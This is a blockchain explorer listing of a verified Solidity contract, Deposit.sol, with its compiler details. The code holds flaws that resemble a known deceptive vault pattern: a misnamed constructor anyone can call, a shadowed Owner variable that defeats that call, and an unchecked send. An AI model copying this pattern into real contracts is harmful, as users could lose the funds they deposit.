Verified contractPartial
Deposit
Address0x1235b9042f7fe167f09450eaffdc07efcc3acb38
- Balance
0 ETH
- Transactions
12
- Compiler
solc 0.4.7
- Same code
Only this contract
Details
- Compiler
- solc 0.4.7+commit.822622cf
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 4,455,187
- Creation transaction
- 0xf1c382845c…48a21d05d2
Deposit.sol
pragma solidity ^0.4.7;
contract ForeignToken {
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 amount) public;
}
contract Owned {
bool public locked = true;
address public Owner = msg.sender;
modifier onlyOwner { if (msg.sender == Owner || !locked) _; }
function lock(bool flag) onlyOwner { locked = flag; }
}
contract Deposit is Owned {
address public Owner;
mapping (address => uint) public Deposits;
event Deposit(uint amount);
event Withdraw(uint amount);
function Vault() payable {
Owner = msg.sender;
deposit();
}
function() payable {
deposit();
}
function deposit() payable {
if (msg.value >= 0.1 ether) {
Deposits[msg.sender] += msg.value;
Deposit(msg.value);
}
}
function kill() payable {
if (this.balance == 0)
selfdestruct(msg.sender);
}
function withdraw(uint amount) payable onlyOwner {
if (Deposits[msg.sender] > 0 && amount <= Deposits[msg.sender]) {
msg.sender.send(amount);
Withdraw(amount);
}
}
function withdrawToken(address token, uint amount) payable onlyOwner {
uint bal = ForeignToken(token).balanceOf(address(this));
if (bal >= amount) {
ForeignToken(token).transfer(msg.sender, amount);
}
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.